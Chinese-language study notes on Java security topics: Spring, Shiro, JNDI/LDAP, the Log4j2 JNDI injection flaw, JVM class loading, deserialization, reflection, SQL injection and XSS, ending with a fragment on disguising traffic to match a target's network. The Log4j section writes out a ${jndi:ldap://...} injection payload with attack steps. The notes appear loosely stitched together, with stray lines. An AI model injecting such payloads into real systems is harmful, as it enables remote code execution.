Spring生态

Spring开源框架由Rod Johnson创建，从简单性、可测试性和松耦合的角度而言，任何Java应用都可以从Spring中受益。时至今日Spring已经不再是一个简单的编程框架了，在整个Spring生态中包含了许多应用在特定场景的具体框架，如”Spring Framework”,”Spring Security”，“Srping Boot”，”Spring Cloud“等等。其中Spring Framework框架是整个生态的核心基础，每个框架都有自己独立的代码仓库。

Spring生态系统提供许多有用的编程框架或工具集，当下最为流行的Spirng项目：Spring Framework，Spring Security，Spring Boot，Spring Cloud等。

Shiro产品了解

Apache Shiro是⼀个强⼤且易⽤的Java安全框架，执⾏身份验证、授权、密码和会话管理。使⽤Shiro的 易于理解的API，您可以快速、轻松地获得任何应⽤程序，从最⼩的移动应⽤程序到最⼤的⽹络和企业应 ⽤程序。

基本特点如下：

1. Authentication:身份认证/登录，验证用户是否具有相应的身份。
2. Authorization:授权，即权限验证，验证某个已认证的用户是否拥有某个权限，即判断用户是否能做事情。
3. Session Management:会话管理，即用户登陆后就是一次会话，在没有退出之前，它的所有信息都在会话中；会话可以是普通JavaSE环境的，也可以是如Web环境的。
4. Cryptographt:加密，保护数据的安全性，如密码加密存储到数据库，而不是明文存储。
5. Web Support: Web支持，可以非常容易的集成到Web环境。
6. Caching：缓存，比如用户登陆后，其用户信息，拥有的角色，权限不必每次去查，这样可以提高效率
7. Concurrency:shiro支持多线程应用的并发验证，即如在一个线程中开启另一个线程，能把权限自动传播过去。
8. Testing:提供测试支持。
9. Run As:允许一个用户假装为另一个用户
10. Remember Me:记住我，这是非常常见的功能，即一次登录后，下次再来的话不用登录了。

JNDI原理

JNDI全程 Java Naming and Directory Interface。JNDI是JAVA平台的一个标准扩展，提供了一组接口、类和关于命名空间的概念。如同其他很多JAVA技术一样，JNDI是provider-based的技术，暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务，只要JNDI支持这项技术。

JNDI目前所支持的技术包括LDAP、COS名字服务、RMI、NDS、DNS、Windows注册表等等。很多J2EE技术，包括EJB都依靠JNDI来组织和定位实体。JNDI通过绑定的概念对象讲对象和名称联系起来。在一个文件系统中，文件名别绑定给文件。在DNS中，一个IP地址绑定一个URL。在目录服务中，一个对象名被绑定给一个对象实体。

JNDI中的一组绑定作为作为上下文来引用。每个上下文暴露的一组操作是一致的。例如，每个上下文提供了一个查找操作，返回指定名字的响应对象。每个上下文都提供了绑定和撤出绑定名字到某个对象的操作。JNDI使用通用的方式来暴露命名空间，即使用分层上下文以及使用相同命名语法的子上下文。

简单来说：通过JNDI提供了”通过名称找到对应的对象”的规范含义，即SPI功能，实现则由具体的技术支持，如:LDAP、RMI、DNS、Database。

org.apache.commons commons-collections4 4.0

LDAP原理

目录服务是一个特殊的数据库，用来保存描述性的，基于描述的详细信息，支持过滤功能。

LDAP，它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库，它成树状结构组织数据，类似文件目录一样。目标数据库和关系数据库不通，它有优异的读性能，但写性能差，并且没有事务处理、回滚等复杂功能，不适用于存储修改频繁的数据库。所以目录天生是用来查询的，就好象它的名字一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。

log4j漏洞介绍

Log4j2默认支持解析ldap/rmi协议，并通过名称从ldap服务端其获取对应的class文件，使用ClassLoader在本地加载Ldap服务端返回的class类。这就为攻击者提供了攻击途径，攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如：恶意内容${jndi:ldap://localhost:9999/test}恶意内容)，该内容传递到后端被log4j2打印出来，就会触发恶意的Class的加载执行(可执行任意后台指令)，从而达到攻击的目的。

1.首先攻击者找到存在风险的接口(接口会将前端输入直接通过日志打印出来)，然后向该接口发送攻击内容${jndi:ldap//localhost:9999/Test}

2.被攻击服务器收到该内容后，通过Log4j2工具将其作为日志打印。

初识fastjson

Fastjson是Alibaba开发的java语言编写的高性能JSON库，用于将数据在JSON和Java Object之间互相转换，不需要添加额外的以来，能够直接跑在JDK上，Fastjson采用独创的算法，将序列化的速度提升到极致，深受用户喜爱。

JVM运行机制

基本概念

计算机是没有办法直接运行java代码的，也没有办法直接运行java编译的字节码。在实际的运行过程中，需要将编译好的字节码交给JVM去执行。JVM会把字节码转化为实际的机器码

栈

栈(stack)又称为堆栈活堆叠，栈作为一种数据结构，是一种只能在一端进行插入和删除操作的特殊线性表。它按照先进后出的原则存储数据，先进后出的原则存储数据。

JVM运行方式

虚拟机常用的实现方式有两种：基于栈的和基于寄存器的。我们的JVM是基于栈的。

这两种虚拟机的区别在于，基于寄存器的虚拟机，执行速度会更快，但是可移植性差。

基于栈的虚拟机，虽然指令比寄存器的多，但是可移植性好，实现更简单。

类字节码

我们都知道，java是需要编译的。当.java命令被编译后称为.class文件。这个.class文件就是类字节码文件。

类字节码结构

类字节码由十个部分组成

1. 魔数（Magic Number）
2. 版本号（Minor&Major Version）
3. 常量池（Constant Pool）
4. 类访问标记(Access Flags)
5. 类索引（This Class）
6. 超类索引（Super Class）
7. 接⼝表索引（Interfaces）
8. 字段表（Fields）
9. ⽅法表（Methods）
10. 属性表（Attributes）

魔数

java的魔数其实就是标识它是一个java文件的标志。当我们用010editor打开.class文件时，发现它的前四个字节是CAFEBABE(咖啡宝贝)

常量池

对于JVM字节码来说，如果操作数非常小或者很常用的数字0之类的，这些操作数是内嵌到字节码中的。如果是字符串常量和较大的整数等，class文件是把这些操作数存储在一个叫做常量池(Constant Pool)的地方，当使用这些操作数时，使用的是常量池数据中的索引位置。常量池的作用有点类似于C语言中的符号表，但是比符号表要强大得多。

常量池的基本机构如下：

1
2
3
4

{
	u2     constant_pool_count;  //常量池大小
	cp_info  constant_pool[constant_pool_count-1];  //若干常量池选项
}

字段表与方法表

字段表：类中定义的字段会被存储到这个集合中，包括类中定义的静态和非静态字段，不包括方法内部定义的变量。

1
2
3
4

{
   u2          fields_count;
   filed_info       fields[fileds_count];
}

方法表：类中定义的方法会被存储在这里，与字段表很类似，方法表也是一个变长结构。

1
2
3
4

{
    u2         methods_count;
    method_info    methods[methods_count];
}

属性表中的Code

Code属性包含了所有方法的字节码，它的结构如下：

字节码指令的基本结构

java虚拟机的指令由一个字节长度的操作码和紧随其后的操作数构成。”字节码”这个名字的由来也是因为操作码的长度用一个字节表示。

大部分字节码指令包含了所要操作的类型信息。比如ireturn 用于返回一个int类型的数据 return 用于返回一个double类型的数据。

后面的操作数一一在常量池中有对应。比如#15其实就是printStream中的println方法。而invokervirtual就是指调用实例方法。

常见指令：

1. ldc -> 将int,float或String型常量值从常量池中推送⾄栈顶(宽索引)
2. xload -> 将指定类型的本地变量推送⾄栈顶 (x代表任意字符串)
3. xstore -> 将指定类型的栈顶值存⼊本地变量中 (x代表任意字符串)
4. pop -> 将栈顶数值弹出(数值不能是long或double类型的)
5. dup -> 复制栈顶数值并将复制值压⼊栈顶
6. xadd -> 将栈顶两指定型数值相加并将结果压⼊栈顶 (x代表任意字符串)
7. goto -> ⽆条件跳转 • xreturn -> 从当前⽅法返回指定类型 (x代表任意字符串)
8. invokevirtual -> 调⽤实例⽅法
9. invokespecial -> 调⽤超类构建⽅法, 实例初始化⽅法, 私有⽅法
10. invokestatic -> 调⽤静态⽅法
11. invokeinterface -> 调⽤接⼝⽅法 • invokedynamic -> 调⽤动态⽅法

JAVA类加载

java文件通过编译器变成了.class文件，接下来类加载器又将这些.class文件加载到jvm中。其中类装载器的作用其实就是类的加载。

类加载的具体过程可以拆分为三个步骤，分别是加载\链接以及初始化。

这些工作实际都在jvm当中完成。（在java中它们被封装成native函数）

类加载种类

Boostratp ClassLoader(启动类加载器)这个类加载器负责将一些核心的，被JVM识别的类加载进来，用c++实现，与JVM是一体的。

Extension Classloader(扩展类加载器)这个类加载器用来加载java的扩展库 *Application Classloader（App类加载器/系统类加载器）用于加载我们自己定义编写的类。

User ClassLoader(用户自己实现的类加载器)当实际需要自己掌控类加载过程时才会用到，一般没有用到。

因此除了Bootstrap ClassLoader之外，其他的ClassLoader都是可以在java代码中找到的

类加载的方法

1. loadClass(加载指定的Java类)
2. findClass(查找指定的java类)
3. findLoaderClass(查找JVM已经加载过的类)
4. defineClass(定义一个Java类)
5. resolveClass(链接指定的java类)

类加载的两种方式

Java类加载方式分为显示和隐式，显示即我们通常使用java反射或者ClassLoader来动态加载一个类对象。而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载，我们可以自定义类加载去加载任意的类。

1
2
3
4
5

//通过反射加载类
class.forName("com.test.test")；

//主动调用ClassLoader加载类
this.getClass().getClassloader().loadclass("com.test.test")

通过反射去加载实际还是使⽤了的ClassLoader，这两者在本质上并⽆区别

什么是双亲委派机制

定义：如果一个类加载器收到了类加载的请求，它首先不会自己去尝试加载这个类，而是把这个请求委派给父类加载器去完成，每一个层次的加载器都是如此，因此所有的加载请求最终都应该传送到顶层的启动类加载器中，只有当父加载器反馈自己无法完成这个加载请求(它的搜索范围中没有找到所需的类时)，子加载器才会尝试自己去加载。这个机制就叫做双亲委派机制。

实现：

1. 检查请求的类是否已经被加载过了。
2. 未加载，则请求父类加载器去加载对应路径下的类。
3. 如果加载不到，才由下面的子类依次去加载。

什么是反序列化

序列化，是指将内存中的某个对象压缩成字节流的形式，而反序列化，则是将字节流转化成内存中的对象。Java序列化和反序列化处理是基于Java框架的Web应用中比较重要的功能。因为在网络中，无论相互间发送何种类型的数据，在网络中实际上都是以二进制序列的形式传输的。为此，发送发必须将要发送的Java对象序列化为字节流，接收方则需要将字节流再反序列化，还原得到java对象才能实现正常通信。当攻击者精心构造的字节流被反序列化为恶意对象时，就会造成一系列安全问题。反序列化漏洞就是，暴露或者间接暴露反序列化API，导致用户可以操作传入数据，攻击者可以精心构造反序列化对象并执行恶意代码。

反射定义

反射是java的特性之一，它允许运行中的java程序获取自身的信息，并且可以操作类或对象的内部属性。简而言之，在程序运行期可以拿到一个对象的所有信息。

反射最重要的用途就是开发各种通用框架。很多框架都是配置化的，为了保证框架的通用性，它们可能需要根据配置文件加载不同的对象或类，调用不同的方法，这个时候就必须用到反射，运行时动态加载需要加载的对象。

java sql注入漏洞审计

执行对象

执行对象是sql的执行者。

目前常用的执行对象接口有三种： Statement、PreparedStatement和CallableStatement。

XSS漏洞原理

攻击者在被攻击的web服务器网页中嵌入恶意脚本，通常使用js编写的恶意代码，当用户使用浏览器访问被嵌入恶意代码的网页时，恶意代码将会在用户的浏览器上执行。XSS其实也是注入的一种，前端注入。（用户输入的传参会被当作前端代码执行）。

简介

流量的东西大概做的几个方向：

1. IP
2. 内容

我们的目的就是尽可能的贴近目标平时的网络环境流量，把容易看懂的变成不容易看懂的内容。